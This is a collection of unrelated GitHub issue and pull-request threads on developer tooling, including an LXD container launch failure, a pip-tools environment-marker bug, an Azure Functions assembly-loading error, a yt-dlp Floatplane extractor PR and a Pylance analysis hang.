See: https://github.com/platformsh/platformsh-cli/blob/71b40df52a5534acb801e634f5c08595d2e1f2d6/src/Service/Drush.php#L230

I'm not sure I understand the last part - what exception is thrown? It's supposed to be OK with no aliases being found:
https://github.com/platformsh/platformsh-cli/blob/71b40df52a5534acb801e634f5c08595d2e1f2d6/src/Service/Drush.php#L242-L246

Ah... reproduced


How to load css file as module in inferno js?

How to load css file as module in inferno js and use it?

This is a very open ended question. If you're using webpack your best bet is to look at style loader which is a module designed for processing all forms of style sheets (CSS, SASS, LESS) together with css loader which will parse your CSS. Webpack will then add this to your HTML file via your bundle.js if you're running webpack-dev-server. or you will have to use the extract-text-webpack-plugin to create a stylesheet.

@echonox This is also unrelated to Inferno, specifically. 😄
It's a generic Webpack thing, and you can checkout this repo for a very basic setup of "CSS modules".
Please note that I linked you to an older, specific version of the project; so browsing the most up-to-date version will not include CSS modules. 😺


Can't launch any container

Required information

Distribution: ubuntu
Distribution version: jammy
The output of "lxc info" or if that fails:

config:
  core.https_address: <IP_ADDRESS>:8443
api_extensions:
- storage_zfs_remove_snapshots
- container_host_shutdown_timeout
- container_stop_priority
- container_syscall_filtering
- auth_pki
- container_last_used_at
- etag
- patch
- usb_devices
- https_allowed_credentials
- image_compression_algorithm
- directory_manipulation
- container_cpu_time
- storage_zfs_use_refquota
- storage_lvm_mount_options
- network
- profile_usedby
- container_push
- container_exec_recording
- certificate_update
- container_exec_signal_handling
- gpu_devices
- container_image_properties
- migration_progress
- id_map
- network_firewall_filtering
- network_routes
- storage
- file_delete
- file_append
- network_dhcp_expiry
- storage_lvm_vg_rename
- storage_lvm_thinpool_rename
- network_vlan
- image_create_aliases
- container_stateless_copy
- container_only_migration
- storage_zfs_clone_copy
- unix_device_rename
- storage_lvm_use_thinpool
- storage_rsync_bwlimit
- network_vxlan_interface
- storage_btrfs_mount_options
- entity_description
- image_force_refresh
- storage_lvm_lv_resizing
- id_map_base
- file_symlinks
- container_push_target
- network_vlan_physical
- storage_images_delete
- container_edit_metadata
- container_snapshot_stateful_migration
- storage_driver_ceph
- storage_ceph_user_name
- resource_limits
- storage_volatile_initial_source
- storage_ceph_force_osd_reuse
- storage_block_filesystem_btrfs
- resources
- kernel_limits
- storage_api_volume_rename
- macaroon_authentication
- network_sriov
- console
- restrict_devlxd
- migration_pre_copy
- infiniband
- maas_network
- devlxd_events
- proxy
- network_dhcp_gateway
- file_get_symlink
- network_leases
- unix_device_hotplug
- storage_api_local_volume_handling
- operation_description
- clustering
- event_lifecycle
- storage_api_remote_volume_handling
- nvidia_runtime
- container_mount_propagation
- container_backup
- devlxd_images
- container_local_cross_pool_handling
- proxy_unix
- proxy_udp
- clustering_join
- proxy_tcp_udp_multi_port_handling
- network_state
- proxy_unix_dac_properties
- container_protection_delete
- unix_priv_drop
- pprof_http
- proxy_haproxy_protocol
- network_hwaddr
- proxy_nat
- network_nat_order
- container_full
- candid_authentication
- backup_compression
- candid_config
- nvidia_runtime_config
- storage_api_volume_snapshots
- storage_unmapped
- projects
- candid_config_key
- network_vxlan_ttl
- container_incremental_copy
- usb_optional_vendorid
- snapshot_scheduling
- snapshot_schedule_aliases
- container_copy_project
- clustering_server_address
- clustering_image_replication
- container_protection_shift
- snapshot_expiry
- container_backup_override_pool
- snapshot_expiry_creation
- network_leases_location
- resources_cpu_socket
- resources_gpu
- resources_numa
- kernel_features
- id_map_current
- event_location
- storage_api_remote_volume_snapshots
- network_nat_address
- container_nic_routes
- rbac
- cluster_internal_copy
- seccomp_notify
- lxc_features
- container_nic_ipvlan
- network_vlan_sriov
- storage_cephfs
- container_nic_ipfilter
- resources_v2
- container_exec_user_group_cwd
- container_syscall_intercept
- container_disk_shift
- storage_shifted
- resources_infiniband
- daemon_storage
- instances
- image_types
- resources_disk_sata
- clustering_roles
- images_expiry
- resources_network_firmware
- backup_compression_algorithm
- ceph_data_pool_name
- container_syscall_intercept_mount
- compression_squashfs
- container_raw_mount
- container_nic_routed
- container_syscall_intercept_mount_fuse
- container_disk_ceph
- virtual-machines
- image_profiles
- clustering_architecture
- resources_disk_id
- storage_lvm_stripes
- vm_boot_priority
- unix_hotplug_devices
- api_filtering
- instance_nic_network
- clustering_sizing
- firewall_driver
- projects_limits
- container_syscall_intercept_hugetlbfs
- limits_hugepages
- container_nic_routed_gateway
- projects_restrictions
- custom_volume_snapshot_expiry
- volume_snapshot_scheduling
- trust_ca_certificates
- snapshot_disk_usage
- clustering_edit_roles
- container_nic_routed_host_address
- container_nic_ipvlan_gateway
- resources_usb_pci
- resources_cpu_threads_numa
- resources_cpu_core_die
- api_os
- container_nic_routed_host_table
- container_nic_ipvlan_host_table
- container_nic_ipvlan_mode
- resources_system
- images_push_relay
- network_dns_search
- container_nic_routed_limits
- instance_nic_bridged_vlan
- network_state_bond_bridge
- usedby_consistency
- custom_block_volumes
- clustering_failure_domains
- resources_gpu_mdev
- console_vga_type
- projects_limits_disk
- network_type_macvlan
- network_type_sriov
- container_syscall_intercept_bpf_devices
- network_type_ovn
- projects_networks
- projects_networks_restricted_uplinks
- custom_volume_backup
- backup_override_name
- storage_rsync_compression
- network_type_physical
- network_ovn_external_subnets
- network_ovn_nat
- network_ovn_external_routes_remove
- tpm_device_type
- storage_zfs_clone_copy_rebase
- gpu_mdev
- resources_pci_iommu
- resources_network_usb
- resources_disk_address
- network_physical_ovn_ingress_mode
- network_ovn_dhcp
- network_physical_routes_anycast
- projects_limits_instances
- network_state_vlan
- instance_nic_bridged_port_isolation
- instance_bulk_state_change
- network_gvrp
- instance_pool_move
- gpu_sriov
- pci_device_type
- storage_volume_state
- network_acl
- migration_stateful
- disk_state_quota
- storage_ceph_features
- projects_compression
- projects_images_remote_cache_expiry
- certificate_project
- network_ovn_acl
- projects_images_auto_update
- projects_restricted_cluster_target
- images_default_architecture
- network_ovn_acl_defaults
- gpu_mig
- project_usage
- network_bridge_acl
- warnings
- projects_restricted_backups_and_snapshots
- clustering_join_token
- clustering_description
- server_trusted_proxy
- clustering_update_cert
- storage_api_project
- server_instance_driver_operational
- server_supported_storage_drivers
- event_lifecycle_requestor_address
- resources_gpu_usb
- clustering_evacuation
- network_ovn_nat_address
- network_bgp
- network_forward
- custom_volume_refresh
- network_counters_errors_dropped
- metrics
- image_source_project
- clustering_config
- network_peer
- linux_sysctl
- network_dns
- ovn_nic_acceleration
- certificate_self_renewal
- instance_project_move
- storage_volume_project_move
- cloud_init
- network_dns_nat
- database_leader
- instance_all_projects
- clustering_groups
- ceph_rbd_du
- instance_get_full
- qemu_metrics
- gpu_mig_uuid
- event_project
- clustering_evacuation_live
- instance_allow_inconsistent_copy
- network_state_ovn
- storage_volume_api_filtering
- image_restrictions
- storage_zfs_export
- network_dns_records
- storage_zfs_reserve_space
- network_acl_log
- storage_zfs_blocksize
- metrics_cpu_seconds
- instance_snapshot_never
- certificate_token
- instance_nic_routed_neighbor_probe
- event_hub
- agent_nic_config
- projects_restricted_intercept
- metrics_authentication
- images_target_project
- cluster_migration_inconsistent_copy
- cluster_ovn_chassis
- container_syscall_intercept_sched_setscheduler
- storage_lvm_thinpool_metadata_size
- storage_volume_state_total
- instance_file_head
- instances_nic_host_name
- image_copy_profile
- container_syscall_intercept_sysinfo
- clustering_evacuation_mode
api_status: stable
api_version: "1.0"
auth: trusted
public: false
auth_methods:
- tls
environment:
  addresses:
  - <IP_ADDRESS>:8443
  - <IP_ADDRESS>:8443
  - <IP_ADDRESS>:8443
  - <IP_ADDRESS>:8443
  architectures:
  - x86_64
  - i686
  certificate: |
    -----BEGIN CERTIFICATE-----
    MIIFYjCCA0qgAwIBAgIRANuqKiTk5I94s7Ls9KrmQOIwDQYJKoZIhvcNAQELBQAw
    NzEcMBoGA1UEChMTbGludXhjb250YWluZXJzLm9yZzEXMBUGA1UEAwwOcm9vdEB0
    YXJhbnR1bGEwHhcNMTgwMzEzMDgzOTU2WhcNMjgwMzEwMDgzOTU2WjA3MRwwGgYD
    VQQKExNsaW51eGNvbnRhaW5lcnMub3JnMRcwFQYDVQQDDA5yb290QHRhcmFudHVs
    YTCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBALDHye5K2TakguGjqRF1
    im261BjhPVRo6R4yhX/VfN9pPmOIaqkFvOAadu9KoRbGMtUjvS8mzXlqxHuzFMpn
    JIQD+mtkfxEUI2DsnGppzfP9fa+X1Bgli8XqsaS5BCB/z3uzU6PJgC2qGKpLZY3S
    if0XGzgU7JKcYx5BwWN7oHk98sVQQtrSeTLW634m/uPeaB9LAowJ7T13WzCDP2jK
    H2d6s6Es6PlXIvawLzNUEqRSWzrFEt5SsEwSURmghZkHZzM4MlJHbS3Ayw81XuRq
    oH650uJM2riSjm9CDODT3izjovh5KlLszofKoWPmmc/gn/M5KttZOo9FckL08TBZ
    lSz51nqovI/L8ntTThflIK/S633GB2Y0fvVpgv3EqsLe+2m0ikdTwG1Qp14S53pJ
    /Hg3Cp4cwk21VRaWDqrUzbKmPhJYmWaujxeCWRmVBWDaY/APuIg3iT2z73JAqYze
    2ve+UrEsp10E4KrIRQjepl1kkm89jGyFGeELKHnKGdmiPHZ226qC+bOAxnwADh1u
    pKb7TZekXiW3Cf3OlPUds6KAlVZGef8FIabAJwmfHxz1QDp3aVj7EhXXfdUqZWrh
    hqiLxz1CO6HlwGBQCn6MtqiCocRsrIAK6p9DpcLn4A6ynOh+6yaYbugTpEvWiESq
    yzgcyyCXULaZ2kkcKgv4vNlxAgMBAAGjaTBnMA4GA1UdDwEB/wQEAwIFoDATBgNV
    HSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMDIGA1UdEQQrMCmCCXRhcmFu
    dHVsYYcEZGQO/IcQKgARSLC6ABRdTh0pZe4ERIcEwKh6ATANBgkqhkiG9w0BAQsF
    AAOCAgEACs5/4rQLNpvdmXnPyQ+tLXAh7ReVhJZ0N+6vpFfROTt6Tw9PFs6i3Ldd
    rJDsOz/T+ibNDgu1QrBfB3scFsLXv7+tZNbxT2yYjy0luM8T/NKFKbBXYHka6mmv
    ZTuIlm7t1exM8RRHL4QnZOzq6+xAobnIvBRRFp0OPqS0j3/i0hkjyd6VohuGNyxb
    UyBv6aow6bHSpAB0ZtfOT71Obl5P71PoQerjinBtrsVf1BR0COHnObz28vThOWA0
    AikYKrQbUbxn8Z9q80jyYqe4S2ilyHL92U8AHae96/sq3W2ABaZ1UcmeK8wahElU
    gSft4ERYZL/ng/mp0WGd4m6MdMZrguhs2lTQnBgD5lS/0RdAE3lF/SNx7GBLq4s3
    x2kOhJQjUT86xMQQp1oYfkMDvdT8tzYujU6Y7BPk75Owhbh9MrnovtJwsm7z/MAz
    70+J8B6hkBEFPqiIqg3j1SCNmGdPeMsZcDqBKFVCyVDIg3Wb0fFNivC/31g6RQ2F
    OdCWHu1IyCOxrsr3OQ9iHShPnyEFFXE9Eo3hXxVvB12G7uaONeFIezu/GD3fQwv8
    +McZByaQ0+gkr0aN7n3SxIH9S6hBG00kY1m0LW8vq46ndsghq1imCtg25NMLEgLt
    Gz1iec/hwY84xLirHuW2MAriPNwPc9bcjsmQCW1RC/xuuOmUEPs=
    -----END CERTIFICATE-----
  certificate_fingerprint: fa7007488665ef87b85bf1f8a6747ea63ea5ce97ecf1492d812d88ab4bd38ac4
  driver: lxc | qemu
  driver_version: 4.0.12 | 6.1.1
  firewall: nftables
  kernel: Linux
  kernel_architecture: x86_64
  kernel_features:
    idmapped_mounts: "true"
    netnsid_getifaddrs: "true"
    seccomp_listener: "true"
    seccomp_listener_continue: "true"
    shiftfs: "false"
    uevent_injection: "true"
    unpriv_fscaps: "true"
  kernel_version: 5.15.0-25-generic
  lxc_features:
    cgroup2: "true"
    core_scheduling: "true"
    devpts_fd: "true"
    idmapped_mounts_v2: "true"
    mount_injection_file: "true"
    network_gateway_device_route: "true"
    network_ipvlan: "true"
    network_l2proxy: "true"
    network_phys_macvlan_mtu: "true"
    network_veth_router: "true"
    pidfd: "true"
    seccomp_allow_deny_syntax: "true"
    seccomp_notify: "true"
    seccomp_proxy_send_notify_fd: "true"
  os_name: Ubuntu
  os_version: "22.04"
  project: default
  server: lxd
  server_clustered: false
  server_event_mode: full-mesh
  server_name: tarantula
  server_pid: 1463775
  server_version: "5.1"
  storage: dir
  storage_version: "1"
  storage_supported_drivers:
  - name: ceph
    version: 15.2.16
    remote: true
  - name: btrfs
    version: 5.4.1
    remote: false
  - name: cephfs
    version: 15.2.16
    remote: true
  - name: dir
    version: "1"
    remote: false
  - name: lvm
    version: 2.03.07(2) (2019-11-30) / 1.02.167 (2019-11-30) / 4.45.0
    remote: false
  - name: zfs
    version: 2.1.2-1ubuntu3
    remote: false

Issue description
Can't launch new containers.
% lxc launch images:ubuntu/jammy/amd64 ge
Creating ge
Starting ge
Error: Failed to run: /snap/lxd/current/bin/lxd forkstart ge /var/snap/lxd/common/lxd/containers /var/snap/lxd/common/lxd/logs/ge/lxc.conf:
Try `lxc info --show-log local:ge` for more info

% lxc info --show-log local:ge
Name: ge
Status: STOPPED
Type: container
Architecture: x86_64
Created: 2022/05/17 10:50 MSK
Last Used: 2022/05/17 10:50 MSK

Log:

lxc ge<PHONE_NUMBER>5017.468 WARN     conf - conf.c:lxc_map_ids:3592 - newuidmap binary is missing
lxc ge<PHONE_NUMBER>5017.468 WARN     conf - conf.c:lxc_map_ids:3598 - newgidmap binary is missing
lxc ge<PHONE_NUMBER>5017.469 WARN     conf - conf.c:lxc_map_ids:3592 - newuidmap binary is missing
lxc ge<PHONE_NUMBER>5017.469 WARN     conf - conf.c:lxc_map_ids:3598 - newgidmap binary is missing
lxc ge<PHONE_NUMBER>5017.636 ERROR    start - start.c:start:2164 - No such file or directory - Failed to exec "/sbin/init"
lxc ge<PHONE_NUMBER>5017.636 ERROR    sync - sync.c:sync_wait:34 - An error occurred in another process (expected sequence number 7)
lxc ge<PHONE_NUMBER>5017.647 WARN     network - network.c:lxc_delete_network_priv:3617 - Failed to rename interface with index 0 from "eth0" to its initial name "veth8f78f55c"
lxc ge<PHONE_NUMBER>5017.647 ERROR    lxccontainer - lxccontainer.c:wait_on_daemonized_start:877 - Received container state "ABORTING" instead of "RUNNING"
lxc ge<PHONE_NUMBER>5017.647 ERROR    start - start.c:__lxc_start:2074 - Failed to spawn container "ge"
lxc ge<PHONE_NUMBER>5017.647 WARN     start - start.c:lxc_abort:1039 - No such process - Failed to send SIGKILL via pidfd 17 for process 1466589
lxc ge<PHONE_NUMBER>5022.736 WARN     conf - conf.c:lxc_map_ids:3592 - newuidmap binary is missing
lxc ge<PHONE_NUMBER>5022.736 WARN     conf - conf.c:lxc_map_ids:3598 - newgidmap binary is missing
lxc<PHONE_NUMBER>5022.774 ERROR    af_unix - af_unix.c:lxc_abstract_unix_recv_fds_iov:218 - Connection reset by peer - Failed to receive response
lxc<PHONE_NUMBER>5022.775 ERROR    commands - commands.c:lxc_cmd_rsp_recv_fds:127 - Failed to receive file descriptors for command "get_state"

Installed from snap stable.
# snap list lxd
Name  Version      Rev    Tracking       Publisher   Notes
lxd   5.1-1f6f485  23037  latest/stable  canonical✓  -

Can you try another image?

I have tried jammy, focal, bionic and debian buster and got same error.

Can you show:

ls -lh /var/snap/lxd/common/lxd/storage-pools/default/containers/ge
ls -lh /var/snap/lxd/common/lxd/storage-pools/default/containers/ge/rootfs
ls -lh /var/snap/lxd/common/lxd/storage-pools/default/containers/ge/rootfs/sbin

% lxc launch images:ubuntu/jammy/amd64 ge1
Creating ge1
Starting ge1
Error: Failed to run: /snap/lxd/current/bin/lxd forkstart ge1 /var/snap/lxd/common/lxd/containers /var/snap/lxd/common/lxd/logs/ge1/lxc.conf:
Try `lxc info --show-log local:ge1` for more info

# ls -lh /var/snap/lxd/common/lxd/storage-pools/default/containers/ge1
total 8,0K
-r-------- 1 root root 2,8K мая 18 10:31 backup.yaml
drwxr-xr-x 5 root root 4,0K мая 18 10:31 rootfs

# ls -lh /var/snap/lxd/common/lxd/storage-pools/default/containers/ge1/rootfs
total 12K
drw-r--r-- 2 root root 4,0K мая 18 10:31 dev
drwxr-xr-x 2 root root 4,0K мая 18 10:31 proc
drwxr-xr-x 2 root root 4,0K мая 18 10:31 sys

# ls -lh /var/snap/lxd/common/lxd/storage-pools/default/containers/ge1/rootfs/sbin
ls: cannot access '/var/snap/lxd/common/lxd/storage-pools/default/containers/ge1/rootfs/sbin': No such file or directory

OK so looks like your images are not being unpacked correctly.
Please can you rule out any issues with problematic cached images by doing lxc image list, finding the entry of the image you are trying to launch and then doing lxc image delete <fingerprint> for that image.
Than try launching the instance again and this should trigger a fresh image be downloaded.
If you still have issues, please can you run sudo du -h /var/snap/lxd/common/lxd/storage-pools/default/containers/ge1/ so we can see how much is inside the image.
And please also look for any AppArmor denials in your log, using journalctl -b | grep DENIED

Looks I found root of the problem. I have
# ls -la /var/snap/lxd/common/lxd/storage-pools
lrwxrwxrwx 1 root root 9 мар 13  2018 /var/snap/lxd/common/lxd/storage-pools -> /home/lxd

and it breaks image unpacking now. Coping container from another lxc host works fine btw.

Hrm, that is highly unusual agreed. What makes you think this is the cause?
I believe @stgraber doesn't recommend using that approach (see this recent posthttps://discuss.linuxcontainers.org/t/lxd-broken-after-setting-custom-backups-storage/14102/6?u=tomp).
Have you considered using a bind mount instead of a symlink?

Hrm, that is highly unusual agreed. What makes you think this is the cause?
I have created new storage pool in default location and have no problem launching with new pool.

I believe @stgraber doesn't recommend using that approach (see this recent post https://discuss.linuxcontainers.org/t/lxd-broken-after-setting-custom-backups-storage/14102/6?u=tomp).
Have you considered using a bind mount instead of a symlink?
I'm moving instances to new pool, so my problem is solved. You can close issue if it is expected behavior.


build(npm): updated dependency semantic-release to v20

:tada: This PR is included in version 3.0.12 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


I cant get the assemble ship button to work

Every time I click the assemble ship button, The game crashes and I can no longer join the world. All the other things work once I figured out how to do them.

The video:
https://user-images.githubusercontent.com/74803545/110227416-99d53800-7eb5-11eb-96a6-3707645c7ed5.mp4

fixed. Needed to do 3 [ in front.


Add Test cases load from Excel

Hi @Seddryck,
Please, would it be possible to add new feature to Genbi, loading Test cases from Excel?
Currently available are csv and SQL.
Thank you

I'm planning to add an Excel extension during the summer months. This is a first step that will let me easily connect to this kind of file and extract the content. Once this extension would be available, I'll take a look to use it in genbiL.


Nuget Packages Not Found in Precompiled Azure Function

When using Application Insights 2.2.0 in an Azure Function csx, there is no issue. When using the same in a pre compiled Azure Function, an error is thrown:
Repro steps
Create an Azure Function and simply instantiate a Telemetry Client in a csx file. This should work fine. Doing the same in a precompiled function results in an error.
Expected behavior
No Error
Actual behavior
Exception while executing function: Functions.Trigger. mscorlib:
Exception has been thrown by the target of an invocation. Test.
AzureFunctions: Could not load file or assembly 'Microsoft.ApplicationInsights,
Version=<IP_ADDRESS>, Culture=neutral, PublicKeyToken=31bf3856ad364e35' or one of its
dependencies. The system cannot find the file specified.
Known workarounds
Add the compiled nuget package dlls at the same level as the compiled function, not a lower bin directory as an external reference would be added.
Additional Information
Clearing the nuget folder and reinstalling packages does not help.

For precompiled functions, there's no package resolution at runtime. The behavior here is similar to deploying other application types (console, web, etc.) where its dependencies should be deployed with it.
You want to deploy everything that is in the output of your project.


Starting a session and closing right away does not close the JVM

Does not close all threads on shutdown, the following code has to hope for OkHttp to terminate.
        val config = FileConfiguration("--conf-file=${args[0]}")
        val session = Session.Builder(config).create()
        session.close()

Workaround, shutting down OkHttp manually,
session.client().dispatcher.executorService.shutdownNow()


Purpose of target dist in install.hs

In the PR #1056 it is noted that target dist is usually not necessary for installation of HIE, thus, the dependency zlib could be removed from install.hs.
Things we could do with dist:

Drop it without replacement
Leave it unchanged in install.hs
Extract a build script, potentially written in shake

Does anyone even use it?

I dont think so. Most people write their custom build script to package all of the hie installations.
I am in favour of dropping it.

If nobody uses - i'm for dropping it, too.

Yes, I think dropping it is the right choice


[ie/floatplane] Add extractor

IMPORTANT: PRs without the template will be CLOSED
Description of your pull request and other information

Alternative implementation to #5912, supporting audio entries and multiple videos in a single post.
Most posts on the site only contain a single video; thus I decided to only return a single video instead of a playlist in those cases and use the post metadata for that video. This is also how the site visually represents it.
Posts with multiple videos/audio files get returned as a playlist.
Fixes #5877, Closes #5912
Template

Before submitting a pull request make sure you have:

[x] At least skimmed through contributing guidelines including yt-dlp coding conventions
[x] Searched the bugtracker for similar pull requests
[x] Checked the code with flake8 and ran relevant tests

In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under Unlicense. Check all of the following options that apply:

[x] I am the original author of this code and I am willing to release it under Unlicense
[ ] I am not the original author of this code but it is in public domain or released under Unlicense (provide reliable evidence)

What is the purpose of your pull request?

[ ] Fix or improvement to an extractor (Make sure to add/update tests)
[x] New extractor (Piracy websites will not be accepted)
[ ] Core bug fix/improvement
[ ] New feature (It is strongly recommended to open an issue first)

Shouldnt display id and id be swapped? I think we would also have to do the workaround for flat filtering here by forcing return type

Swapping display_id and id would cause all items in a post with multiple videos to have the same id.

I think we would also have to do the workaround for flat filtering here by forcing return type

I'm not quite sure what you are referring to. Do I need to add '_type': 'video' to all video items?


[NIFI-13245] address component name overflow in provenance details di…

…alog

Will review...

@mcgilman I have addressed your comments. Please have another review.


Show methods of native contracts and already deployed contracts

moved to https://github.com/N3developertoolkit/neo3-visual-tracker/pull/168


Environment markers are not applied evenly

Environment Versions

OS Type: Windows 10
Python version: Python 3.10.7
pip version: pip 22.3.1
pip-tools version: pip-compile 6.11.0

Steps to replicate

Write a requirements.in file with the following content

wmi ; sys_platform=='win32'

pip-compile

Expected result
#
# This file is autogenerated by pip-compile with Python 3.10
# by the following command:
#
#    pip-compile
#
pywin32==305 ; sys_platform == "win32"
    # via wmi
wmi==1.5.1 ; sys_platform == "win32"
    # via -r requirements.in

Note that both pywin32 and wmi are installed on win32 platforms. This is the expected result since pywin32 is installed by wmi and is required only by that package, which has the environment marker for win32 systems.
Actual result
#
# This file is autogenerated by pip-compile with Python 3.10
# by the following command:
#
#    pip-compile
#
pywin32==305
    # via wmi
wmi==1.5.1 ; sys_platform == "win32"
    # via -r requirements.in

Is this intended? Am I missing some edge cases?

Duplicate of #563


Rough timespan of project

While it's still very early, I was wondering how long a project you would expect this to be? I know it would be hard to tell this early on, but I'm just curious as to what you think.

The project is likely to be long running. It would be nice to get some core functionality complete this summer, ideally the core datastructures nailed down, some core example concepts with instance examples, a web app for visualising the initial dataset and possibly some example AI algorithms and/or crowd sourcing prototypes. It really depends on what work people are willing to take on.


Specific plugins not working after 08/23/18 Update

Hi,
After yesterdays update my Cannon, Ground Items, and Screenshot plugins no longer work. I have tried uninstalling and reinstalling the software but no matter what I cannot use these plugins anymore. I seriously need help with this issue asap. I use Windows 10 on an ASUS ROG JZ750 computer with the GTX 880M Graphics Card.

https://twitter.com/OldSchoolRS/status/1032652169017806848

this should be fixed as of 2 hours ago


namespaces: ensure that tests actually fail

Signed-off-by: Stephen J Day<EMAIL_ADDRESS>

LGTM

Codecov Report

Merging #1070 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1070   +/-   ##
=======================================
  Coverage   59.28%   59.28%
=======================================
  Files           5        5
  Lines         781      781
=======================================
  Hits          463      463
  Misses        204      204
  Partials      114      114

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update c4da4ed...c6efdfb. Read the comment docs.


Switching between Eth and Avax causes MM pop up to show fees in previous chain amount

Overview
After completing and ERC-20 to Eth trade then entering an Avax to assset on Avalanche trade, when confirming the trade, it asks to switch networks. Despite switching the network, it still displays the fee in ETH even though it is an Avalanche trade
References and additional details

Log into app.shapeshift and connect to MM
Navigate to trade page and complete an ERC-20 to ETH trade
Once completed, enter an Avax to Asset on Avalanche trade, i.e avax to weth on avalanche
Confirm and trade and wait for MM pop up to ask to switch from ETH to AVAX chain
Switch networks and note that the MM pop to confirm the trade displays fees in ETH even though it is an Avalanche trade

**note that the trade modal zero's out the value - but you can still complete the trade and it will charge gas fee in correct crypto
Acceptance Criteria
Fees should be displayed in the asset of the chain that the trade is being completed on
Need By Date
No response
Screenshots/Mockups
No response
Ownership

[X] If my bounty needs engineering or needs product I have added the respective labels on the right
[X] As the sponsor of this bounty I will review the changes in a preview environment (ops/product) or review the PR (engineering)

Estimated effort
No response
Sponsor / Stakeholder
No response
Bounty Hunters

Join our discord
Include an expected timeline for you to complete work in the work plan when you apply for this bounty!
Please refer to this link for some basic info
Please do not start work on this issue until you are approved in Gitcoin.

Tested on prod, confirmed fixed by https://github.com/shapeshift/web/pull/4255


This isn't working for me at all

I've installed the plug-in w/o error, and I run "vagrant rsync-back" w/o error.  But I'm not getting any output, and the local file system is not updating.
Is there any way I can make the plug-in more talkative so I can see why it's failing?

C:\Users\YOUR USER.vagrant.d\gems\gems\vagrant-rsync-back-0.0.1\lib\vagrant-rsync-back\command\rsync_back.rb
Update
hostpath = Vagrant::Util::Platform.cygwin_path(hostpath)
To be
hostpath = "/cygdrive" + Vagrant::Util::Platform.cygwin_path(hostpath)


Add FrankerFacez emotes, refactor emotes downloader

I've cleaned up the code in emotes/downloader.rs by grouping the code depending on the provider. This adds a bit of code but makes it hopefully easier to understand, and easier to add another emote provider in the future if needed.

Sorry for the late replies. I'll be reviewing/testing this in the coming days.

All conflicts should be fixed.

Thank you!


collections.OrderdDict causes file analysis to hang

Environment data

Language Server version: 2023.7.40 (pyright b917b7a5)
OS and version: Ubuntu 22.04.1
Python version (& distribution if applicable, e.g. Anaconda): 3.9.17 (Anaconda)

Note: I created a fresh anaconda env for this test (using conda create --name empty python=3.9) but this issue also occurred in other python environments I tried (including a non-anaconda python==3.10 env)
Code SnippetA

import collections

collections.OrderedDict([
    ("key1", collections.OrderedDict.__getitem__),
    ("key2", 3),
])

Repro Steps

Create a python file with the above snippet in a vscode workspace
Run Developer: Reload Window

Expected behavior
File Analysis should finish
Actual behavior
File Analysis hangs indefinitely. Note in the logs below IDX(2) finishes but BG(1) doesn't
Logs

2023-07-28 10:38:30.087 [info] [Info  - 10:38:30 AM] (1531026) Pylance language server 2023.7.40 (pyright b917b7a5) starting
2023-07-28 10:38:30.088 [info] [Info  - 10:38:30 AM] (1531026) Server root directory: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist
2023-07-28 10:38:30.088 [info] [Info  - 10:38:30 AM] (1531026) Starting service instance "empty"
2023-07-28 10:38:30.162 [info] (1531026) No configuration file found.
2023-07-28 10:38:30.162 [info] (1531026) No pyproject.toml file found.
2023-07-28 10:38:30.162 [info] [Info  - 10:38:30 AM] (1531026) Setting pythonPath for service "empty": "/home/fynnsu/miniconda3/envs/empty/bin/python"
2023-07-28 10:38:30.205 [info] [Info  - 10:38:30 AM] (1531026) Assuming Python version 3.9
2023-07-28 10:38:30.206 [info] (1531026) Assuming Python platform Linux
2023-07-28 10:38:30.312 [info] [Info  - 10:38:30 AM] (1531026) Search paths for /home/fynnsu/projects/tmp/empty
2023-07-28 10:38:30.313 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib
2023-07-28 10:38:30.313 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/projects/tmp/empty
2023-07-28 10:38:30.313 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/projects/tmp/empty/typings
2023-07-28 10:38:30.313 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stubs/...
2023-07-28 10:38:30.314 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/bundled/stubs
2023-07-28 10:38:30.314 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/miniconda3/envs/empty/lib/python3.9
2023-07-28 10:38:30.314 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/miniconda3/envs/empty/lib/python3.9/lib-dynload
2023-07-28 10:38:30.315 [info] [Info  - 10:38:30 AM] (1531026)   /home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages
2023-07-28 10:38:30.315 [info] [Info  - 10:38:30 AM] (1531026) Adding fs watcher for library directories:
 /home/fynnsu/miniconda3/envs/empty/lib/python3.9
/home/fynnsu/miniconda3/envs/empty/lib/python3.9/lib-dynload
/home/fynnsu/miniconda3/envs/empty/lib/python3.9/site-packages
2023-07-28 10:38:30.316 [info] [Info  - 10:38:30 AM] (1531026) Adding fs watcher for directories:
 /home/fynnsu/projects/tmp/empty
2023-07-28 10:38:30.317 [info] (1531026) Searching for source files
2023-07-28 10:38:30.322 [info] [Info  - 10:38:30 AM] (1531026) Found 1 source file
2023-07-28 10:38:30.458 [info] (1531026) [FG] parsing: /home/fynnsu/projects/tmp/empty/test.py (87ms)
2023-07-28 10:38:30.721 [info] (1531026) [FG] parsing: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/builtins.pyi [fs read 3ms] (261ms)
2023-07-28 10:38:30.802 [info] (1531026) [FG] binding: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist/typeshed-fallback/stdlib/builtins.pyi (78ms)
2023-07-28 10:38:30.802 [info] (1531026) [FG] binding: /home/fynnsu/projects/tmp/empty/test.py (0ms)
2023-07-28 10:38:30.855 [info] [Info  - 10:38:30 AM] (1531026) Background analysis(1) root directory: /home/fynnsu/.vscode-server/extensions/ms-python.vscode-pylance-2023.7.40/dist
